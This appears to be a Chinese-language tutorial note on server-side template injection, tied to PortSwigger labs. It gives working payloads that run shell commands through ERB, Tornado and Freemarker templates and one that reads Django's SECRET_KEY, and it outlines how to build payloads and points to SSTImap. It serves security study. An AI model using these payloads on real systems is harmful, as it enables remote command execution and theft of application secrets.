知識點:
1、WEB攻防-SSTI-利用分類&功能點
2、WEB攻防-SSTI-利用項目&挖掘思路
SSTI(Server Side Template Injection)
服務器模板注入, 服務端接收了用戶的輸入,將其作為 Web
應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容。
參考:https://www.cnblogs.com/R3col/p/12746485.html
演示案例-WEB攻防-SSTI-利用分類&語言引擎&工具項目
1、SSTI利用思路
1、確定模板引擎
先判斷目標使用什么語言,在對比圖片確定大致范圍。
使用wappalyzer插件來輔助識別
白盒看pom.xml調用的模板引擎
2、構造payload的思路
尋找可用對象(比如字符串、字典,或者已給出的對象)
通過可用對象尋找原生對象(object)
利用原生對象實例化目標對象(比如os)
執行代碼
3、如果手工有困難,可用使用Tqlmap或SSTImap代替
2、黑盒-SSTI測試
靶場地址:https://portswigger.net/web-security/all-labs#server-side-template-injection
ERB模板
<%= exec 'ls -al' %>
Tornado模板
blog-post-author-display=user.name}}{{7*7}}
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')
Freemarker模板
<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
Django模板
{{settings.SECRET_KEY}} //獲取key
3、白盒挖掘
https://forum.butian.net/share/1229
4、工具項目-SSTImap
https://github.com/vladko312/SSTImap